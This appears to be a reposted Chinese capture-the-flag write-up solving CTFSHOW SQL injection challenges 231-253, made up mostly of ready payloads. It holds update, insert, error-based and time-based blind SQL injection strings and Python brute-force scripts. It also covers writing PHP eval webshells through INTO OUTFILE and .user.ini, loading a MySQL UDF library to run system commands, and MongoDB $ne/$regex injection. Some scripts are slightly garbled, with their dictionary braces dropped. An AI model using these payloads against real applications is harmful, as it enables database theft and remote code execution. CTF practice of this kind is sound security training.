CTFSHOW SQL注入篇(231-253)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW SQL注入篇(231-253)相关的知识,希望对你有一定的参考价值。

文章目录

231

update注入
题目里面其实是存在两个功能的,一个是update,还有一个select。
不过我们访问update.php,就知道执行了。
所以只要把查询表或者列的语句更新给用户名或者密码就可以了。

#获取所有表名

password=',username=(select  group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1

#获取所有列名
password=',username=(select  group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=1

#获取flag
password=',username=(select  group_concat(flagas) from flaga)%23&username=1

232

password加了个md5,那我们多个闭合就可以了。

#获取所有表名

password=',username=(select  group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1

#获取所有列名
password='),username=(select  group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=1

#获取flag
password='),username=(select  group_concat(flagass) from flagaa)%23&username=1

233

经过几次尝试发现一直显示查询失败。
感觉在update之前,还对pass字段进行了处理,不能传入单引号,不过可以传入\\,这就有意思了。

update ctfshow_user set pass = '$password' where username = '$username'

假设我们password传入\\,username传入,username=database()#
那么最终构成的语句如下

update ctfshow_user set pass = '\\' where username = ',username=database()#'
等价于
update ctfshow_user set pass = 'x',username=database()#'

所以就可以绕过了。
payload

#获取表名
password=\\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

#获取列名
password=\\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flag233333')%23

#获取数据
password=\\&username=,username=(select group_concat(flagass233) from flag233333)%23

234

感觉是过滤了 引号,不过影响不大

payload

#获取表名
password=\\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

#获取列名
password=\\&username=,username=(select group_concat(column_name) from information_schema.columns where ttable_schema=database())%23

#获取数据
password=\\&username=,username=(select group_concat(flagass23s3) from flag23a)%23

235

过滤了单引号和or,所以information_schema库不能用了,可以考虑mysql或者sys

#获取表名
password=\\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23

因为其他库里面没有专门存储列名的,所以需要用到无列名注入。可以参考下文章(https://blog.csdn.net/qq_31620591/article/details/117067799

#获取数据
password=\\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)%23

236

#获取表名
password=\\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats)%23

过滤增加了flag,一开始以为是对输入进行的过滤,不过经过测试发现上题的payload同样适用。。。。

#获取数据
password=\\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flaga) as a)%23

237

insert 注入

#获取表名
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))%23&password=1

#获取列名
username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))%23&password=1

#获取数据
username=1',(select group_concat(flagass23s3) from flag))%23&password=1

238

过滤了空格,%09 /**/,应该还有很多,那就用括号吧。

#获取表名
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))%23&password=1

#获取列名
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))%23&password=1

#获取数据
username=1',(select(group_concat(flag))from(flagb)))%23&password=1

239

绕过思路同235,采用无列名注入。

#获取表名
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)))%23&password=1

#获取数据
按照无列名注入的方法没出来
username=1',(select`1`from(select(1),(2),(3)union(select*from(flagbb)))as`a`))%23&password=1
盲猜一波flag
username=1',(select(flag)from(flaagbb)))%23&password=1

240

表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
说了表名的组成了,直接爆破得了。

import requests  
url="http://4607becd-20d4-49a4-a488-e20f06b3abe7.challenge.ctf.show/api/insert.php"
s='ab'
for i in s:
    for j in s:
        for k in s:  
            for l in s:  
                for m in s:
                    table='flag'+i+j+k+l+m 
                    data='username':f"1',(select(flag)from(table)))#",
                    'password':'1'
                    requests.post(url,data=data)

跑完刷新下查询界面就可以了。

241

因为delete没法插入什么东西,所以只能考虑盲注了。
如果是布尔盲注的话,其实是可以的,但是没有这么多id供我们删除,所以还是用时间盲注吧。(不过这个题实在是太容易崩了qaq)

# @Author:yu22x
import requests
import time
import urllib.parse
url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php"
s='0123456789abcdef-'
flag='ctfshow'

for i in range(9,46):
		print(i)
		for j in s:
			data='id':f'0||if(substr((select flag from flag),i,1)="j",sleep(1),0)'
			#print(data)
			try:
				requests.post(url,data=data,timeout=1)
			except:
				flag+=j  
				print(flag)
				break
			time.sleep(1)

242

题目直接给了个写文件的语句
select * from ctfshow_user into outfile '/var/www/html/dump/$filename';
但是写入的内容不可控,不过呢into outfile后面还可以跟lines terminated by
比如
select * from ctfshow_user into outfile a.txt' lines terminated by 'abc';
这样所有查询出来的数据结尾都会加一个abc,并且写入到a.txt中
payload

filename=1.php' lines terminated by '<?php eval($_POST[1]);phpinfo();?>'%23

木马在dump/1.php中。
除了上面说的lines terminated by还有
lines starting by
fields terminated by

243

过滤了php
对我们的php代码影响很小,毕竟可以用短标签绕过,主要的是文件名不能带php。
这就有点像文件上传了。
通过404页面可以看到是nginx服务器的,所以可以上传.user.ini配置文件
可以通过上传.user.ini来包含文件(这个题因为直接在dump目录下放了一个index.php,所以才可以这样用)
1、上传.user.ini
为了不影响解析配置文件,我们把主要的内容写到前面,后面的注释掉,所以需要用到lines starting by

filename=.user.ini' lines starting by 'auto_append_file="a.png";'%23

2、上传a.png

filename=a.png' lines starting by '<?=eval($_POST[1]);?>'%23

3、木马会在/dump/index.php中,蚁剑连接即可。

244

报错注入还是比较简单的。主要注意下每种函数的参数就好了
函数的使用可以参考下这篇文章http://t.zoukankan.com/Dleo-p-5493782.html

#获取表名
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

#获取列名
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')))%23

#获取flag(报错注入有长度限制,所以需要拼接下)
1'||extractvalue(0x0a,concat(0x0a,(select group_concat(flag) from ctfshow_flag)))%23
1'||extractvalue(0x0a,concat(0x0a,(select right(group_concat(flag),20) from ctfshow_flag)))%23

245

同上

246

过滤updatexml extractvalue可以用floor

#获取表名
1' union select 1,count(*),concat(0x3a,0x3a,(select (table_name) from information_schema.tables where table_schema=database()  limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

#获取列名
1' union select 1,count(*),concat(0x3a,0x3a,(select (column_name) from information_schema.columns where table_name='ctfshow_flags'  limit 1,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

#获取数据
1' union select 1,count(*),concat(0x3a,0x3a,(select (flag2) from ctfshow_flags  limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a%23

247

Mysql取整函数
1.round
四舍五入取整
round(s,n):对s四舍五入保留n位小数,n取值可为正、负、零.
如四舍五入到整数位,则n取零.

2.ceil
向上取整
ceil(s):返回比s大的最小整数

3.floor
向下取整
floor(s):返回比s小的最大整数

直接把上一步的floor替换成ceil或者round即可。
有一点需要注意下,列名查出来是flag?,所以我们在查数据的时候要包个反引号

1' union select 1,count(*),concat(0x3a,0x3a,(select (`flag?`) from ctfshow_flagsa  limit 0,1),0x3a,0x3a, round(rand(0)*2))a from information_schema.columns group by a%23

248

udf 全称为:user defined function,意为用户自定义函数;用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact(),user(),version()等函数。
写入位置:/usr/lib/MySQL目录/plugin
具体步骤:
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数
create function sys_eval returns string soname 'hack.so';
select sys_eval('whoami');

不过这道题是get传值,所以有长度限制,就得分段来传。
可以先生成多个文件,再通过concat拼接成完整的so文件。
恶意的so文件我们可以通过sqlmap中的文件得到,也可以通过光哥的博客https://www.sqlsec.com/tools/udf.html
一般选这个就可以了。

把0X后面的16进制值填到下面脚本的udf变量中就可以了。

import requests  
url="http://c6f4f7dd-8c43-4f3c-ad0e-64fceee8f620.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
    udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
    url1=url+f"?id=1';SELECT 'i' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
    requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

249

通过查询语句可以猜测是Memcache缓存数据库

$user = $memcache->get($id);

找了一些这个数据库在php中的语法

$m=new Memcache();
$m->connect($host,$port);
$m->add($key,$value[,flags,$expire_time]);
$content=$m->get($key);
$m->close();

如果想查询一个键的值,那么必然前面有插入。
但是直接写id=flag报错了,写其他的字母也是报错。估计是过滤了。不过查询还可以这样写

$content=$m->get(['a','b'])['a'];

也就是传入一个数组。
payload:
id[]=flag

250

mongodb 注入
建议简单学习下mongodb的语法

基础语法

SQL术语/概念MongoDB术语/概念解释/说明
databasedatabase数据库
tablecollection数据库表/集合
rowdocument数据记录行/文档
columnfield数据字段/域

数据库操作

显示所有数据库
show dbs #show databases

创建数据库
use 库名 #如果数据库不存在,则创建数据库,否则切换到指定数据库。show dbs执行结果没有看到创建的数据库,因为数据库中刚开始没有任何数据并且是在内存中的,有了数据后就会显示出来。

删除数据库
db.dropDatabase() #删除当前数据库

集合操作

显式创建集合
db.createCollection("userinfo");//创建一个名为usersinfo的集合

隐式创建集合
db.userinfo.insert(name:"yu22x");//往collection2集合中添加数据来创建集合,如果集合不存在就自动创建集合。

查看集合
show collections;//(show tables)

删除集合userinfo
db.userinfo.drop();

注:mongo中支持js,可通过js操作实现批零处理,如:for(var i=0;i<1000;i++)db.userinfo.insert(name:"xiaomu"+i,age:20+i);
固定集合

我们重点关注的是mongodb中的条件语句

操作格式范例RDBMS中的类似语句
等于:db.userinfo.find(“name”:“yu22x”)where name = ‘yu22x’
小于:$lt:db.userinfo.find(“age”:$lt:20)where age < 20
小于或等于:$lte:db.userinfo.find(“age”:$lte:20)where age <= 20
大于:$gt:db.userinfo.find(“age”:$gt:20)where age > 20
大于或等于:$gte:db.userinfo.find(“age”:$gte:20)where age >= 20
不等于:$ne:db.userinfo.find(“likes”:$ne:20)where age != 20
AND 查询
db.userinfo.find(key1:value1, key2:value2)

OR 查询
db.userinfo.find($or: [key1: value1, key2:value2])

在mongodb中查询是这样的,

db.userinfo.find(name:'yu22x');

类似于
where username='yu22x'
其中userinfo是表名(集合名)
而在mongodb中的条件语句有个比较有意思的

db.userinfo.find("likes":$ne:20)

装类似于
where likes != 20
所以当我们传入
username[$ne]=1&password[$ne]=1
就等价于
where username!=1&password!=1,也就是nosql中的永真式。

251

按照上述方法可以得到admin的用户名密码,flag应该是其他条目中,所以再查下用户名不等于admin的即可。
payload:
username[$ne]=admin&passworda[$ne]=1

252

nosql中也支持正则表达式
所以可以直接找password中以ctfshow开头的。
payload
username[$ne]=1&password[$regex]=^ctfshow

253

利用正则regex盲注密码

#author:yu22x
import requests
url="http://23fde3ab-6f1e-45f0-a918-576d3ac9525b.challenge.ctf.show/api/index.php"
flag="ctfshow"
s='0123456789abcdef-'
for i in range(9,46):
    print(i)
    for j in s:
        data=
            'username[$ne]':'1',
            'password[$regex]':f'^flag+j'
        
        r=requests.post(url=url,data=data)
        if r"\\u767b\\u9646\\u6210\\u529f" in r.text:
            flag+=j
            print(flag)
            if j=="":
                exit()
            break

以上是关于CTFSHOW SQL注入篇(231-253)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(171-190)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(171-190)